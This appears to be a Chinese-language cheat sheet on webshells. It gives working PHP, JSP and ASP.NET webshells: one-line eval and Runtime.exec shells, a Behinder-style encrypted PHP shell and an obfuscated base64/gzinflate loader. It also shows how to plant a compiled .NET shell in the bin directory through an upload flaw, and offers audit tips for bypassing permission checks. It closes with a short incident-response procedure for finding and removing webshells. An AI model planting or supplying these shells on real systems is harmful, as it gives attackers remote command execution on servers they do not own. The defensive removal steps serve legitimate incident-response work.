Webshell
PHP Webshell
一句话木马:
<?php eval($_POST["pass"]);?>
冰蝎 PHP Webshell:
<?php session_start(); if (isset($_GET['pass'])) { $key = substr(md5(uniqid(rand())),16); $_SESSION['k'] = $key; print $key; } else { $key = $_SESSION['k']; $post = file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t = "base64_"."decode"; $post = $t($post.""); for($i = 0; $i < strlen($post); $i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post = openssl_decrypt($post, "AES128", $key); } $arr = explode('|',$post); $func = $arr[0]; $params = $arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params); } ?>
带混淆的 PHP Webshell
<?php function iJG($BHM) { $BHM=gzinflate(base64_decode($BHM)); for($i=0;$i<strlen($BHM);$i++) { $BHM[$i] = chr(ord($BHM[$i])-1); } return $BHM; } eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A")); ?>
JSP Webshell
一句话木马:
<%Runtime.getRuntime().exec(request.getParameter("pass"));%>
带回显的 JSP Webshell:
<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("pass")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); %>
ASP Webshell
.NET 优先加载 bin 目录下的程序,例如 index.aspx -> /bin/index.dll ,这时任意目录均能处理 index.aspx ,如果存在任意文件上传漏洞的话,就可以将编译好的 webshell 上传到 bin 目录。
使用 aspnet_compiler.exe
编译:
aspnet_compiler -v \ -p src_directory dst_directory -fixednames
Find Vulnerabilities / Code Audit
- 在得到安装包的情况下,用 ILSpy 反编译
- 查找 Upload, File, Download 等关键词
- 如果需要权限,寻找是否可以用参数如 isAdmin, preload 等绕过权限校验
Global.asax
文件说明1。
Footnotes:
4
https://www.secpulse.com/archives/186800.html
Webshell 通常是黑客用于控制网站服务器的文件,通常以 php, jsp, asp, asp.net 等载体存在于服务器网站目录下。
Webshell 处置流程:
- 确认文件是否为正常业务文件,排除误报的情况
- 确认是 Webshell 后,若业务允许,需要立即隔离当前主机
- 进行攻击溯源,修复导致 Webshell 的相关漏洞
- 删除已存在的 Webshell
- 对当前主机进行全面排查,确保清除所有已存在的后门
- 安排主机及业务重新上线
总的来说就是:排查、清除、关站,看有没有修复的可能。